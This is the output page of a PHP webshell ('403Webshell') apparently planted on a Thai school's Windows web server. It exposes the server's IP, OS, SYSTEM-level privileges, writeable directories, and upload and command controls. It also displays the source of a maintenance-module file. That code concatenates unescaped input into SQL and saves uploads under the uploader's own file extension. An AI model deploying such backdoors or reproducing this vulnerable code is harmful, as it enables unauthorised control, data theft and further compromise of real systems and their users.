403Webshell
Server IP : 104.21.80.248  /  Your IP : 172.71.28.156
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  E:/Inetpub/www/myschool/benjama/modules/maintenance/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : E:/Inetpub/www/myschool/benjama/modules/maintenance/inc.php
<?
    echo '<img src="images/admin/folders.gif" border="0" align="absmiddle"> ';
    echo "<a href='?name=maintenance'>กลับหน้าหลักระบบซ่อมบำรุง</a>";
    echo str_repeat('&nbsp;',5); 
    echo "<a href='?name=maintenance&file=room'>รายการห้อง</a>";
    echo str_repeat('&nbsp;',5); 
    echo "<a href='?name=maintenance&file=roomedit'>แก้ไขรายการห้อง</a>";
    echo str_repeat('&nbsp;',5); 
    echo "<a href='?name=maintenance&file=device'>เพิ่มอุปกรณ์</a>";
    echo str_repeat('&nbsp;',5); 
    echo "<a href='?name=maintenance&file=inform&op=edit'>แจ้งซ่อม</a>";
    echo "<br>";
    
    define("TB_room","mt_room");
    define("TB_device","mt_device");
    define("TB_mtitem","mt_item");
    define("TB_mtitem_comment","mt_item_comment");
    define("TB_mtitem_file","mt_item_file");

ini_set('display_errors', 'On');
error_reporting(E_ALL & ~Notice);
//error_reporting(E_ALL );

$atype=array('com'=>'computer','projector'=>'projector','screen'=>'ฉากรับภาพ','visual'=>'visualizer',
'sound'=>'เครื่องขยายเสียง','ups'=>'ups', 'air'=>'เครื่องปรับอากาศ', 'other'=>'อื่นๆ');

function room_list($id,$name,$file,$val,$action){
    global $db ;
    $ret ="<FORM METHOD=GET ACTION=\"\" onchange=\"javascript:this.submit();\">";
    $ret .= "<input type=hidden name=name value=$name>";
    $ret .= "<input type=hidden name=file value=$file>";
    $ret .= "<select name=$id>";
    $ret .= "<option>เลือก</option>";
    $db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
    $forder = ($_GET['order'])?'rorder':'room';
    $rorder = " if(substring(rname,2,1)='/' and LENGTH(rname)=3,REPLACE(rname,'/','/0'),rname) as rorder " ;
    $res['room'] = $db->select_query($sql="SELECT room,rname , $rorder FROM ".TB_room." ORDER BY $forder ");
    //echo $sql ;
    while ($arr['room'] = $db->fetch($res['room'])){
        $select =($arr['room']['room']==$val)? " selected " : " ";
        $txt = ($_GET[order])? $arr['room']['rname']." " .$arr['room']['room'] : $arr['room']['room']." " .$arr['room']['rname'] ;
        $ret .= "<option value='".$arr['room']['room']."' $select>". $txt . "</option>";
        if($prev && ! $setok){
            $next=$arr['room'];
            $setok=1;
        }
        if($arr['room']['room']==$val){
            $prev=$last;
        }
        $last = $arr['room'] ;
    }
    $ret .= "</select>" ;
    $ret.= "<input type=button  value=' < ' onclick='location.href=\"?name=$name&file=$file&id=$prev[room]\"';' >";
    $ret.= "<input type=button  value=' > ' onclick='location.href=\"?name=$name&file=$file&id=$next[room]\"';' >";

    $ret.= "  <input type=checkbox name=order value='rname' ".(($_GET['order'])?'checked':'')." > เรียงตามห้อง";
    $ret.= "  <input type=checkbox name=op value='edit' ".(($_GET['op'])?'checked':'')." > แก้ไข";
    $ret.= "</form>";
    return $ret ;
}

function room_list_sel($id,$val){
    global $db ;
    $ret = "<select name=$id>";
    $ret .= "<option>เลือก</option>";
    $db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
    $res['room'] = $db->select_query($sql="SELECT room,rname FROM ".TB_room." ");
    //echo $sql ;
    while ($arr['room'] = $db->fetch($res['room'])){
        $select =($arr['room']['room']==$val)? " selected " : " ";
        $ret .= "<option value='".$arr['room']['room']."' $select>".$arr['room']['room']." " .$arr['room']['rname'] . "</option>";
    }
    $ret .= "</select>" ;
    return $ret ;
}

function room_list_device($id, $room , $val){
    global $db ;
    $ret = "<select name=$id>";
    $ret .= "<option>เลือก</option>";
    $sql="SELECT * FROM ".TB_device." WHERE status>0 AND room='" . $room ."' ORDER BY type" ;
    $res['device'] = $db->select_query($sql);
    while ($arr['device'] = $db->fetch($res['device'])){
        //print_r($arr['device']);
        $select =($arr['device']['id']==$val)? " selected " : " ";
        $txt = $arr['device']['type'] . " " .$arr['device']['brand'] . " " .$arr['device']['model'] . " " .$arr['device']['sn'] ;
        $ret .= "<option value='".$arr['device']['id']."' $select>". $txt . "</option>";
    }
    $ret .= "</select>" ;
    return $ret ;
}

function type_list_sel($id,$val){
    global $atype ;
    $ret = "<select name=$id>";
    $ret .= "<option>เลือก</option>";

    foreach($atype as $k => $v){
        $select =($k==$val)? " selected " : " ";
        $ret .= "<option value='".$k."' $select>".$v . "</option>";
    }
    $ret .= "</select>" ;
    return $ret ;
}

function mt_gen_filename(){
    $y=date("Y")+543;
	$m=date("m");
	$d=date("d");
	$h=date("H");
	$mn=date("i");
	$s=str_pad(date("s"),2,"0",STR_PAD_LEFT);
	$gen_filename=$y.$m.$d."_".$h.$mn.$s.str_pad(rand(0000,9999),4,"0",STR_PAD_LEFT);
    return $gen_filename ;
}

function mt_save_file($id , $cid , $file){
    global $db ;
     print_r($file);
    $y = date("Y") +543;
    $path = "data/maintenance/" . $y ;
    if(! file_exists($path )){
        mkdir($path ,0777);
    } 
    $n = mt_gen_filename();
    $ln = substr($file['name'], strrpos($file['name'],".") );
    echo $fname =  $path ."/". $n . $ln ;
     
    $dat = array(
        "item_id"   => $id,
        "item_id_comment"   => $cid,
        "name"   => '',
        "full_text"   => $n . $ln,
        "post_date"=>"".TIMESTAMP.""
    );
    $db->add_db(TB_mtitem_file,$dat);
    copy($file['tmp_name'],$fname);
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit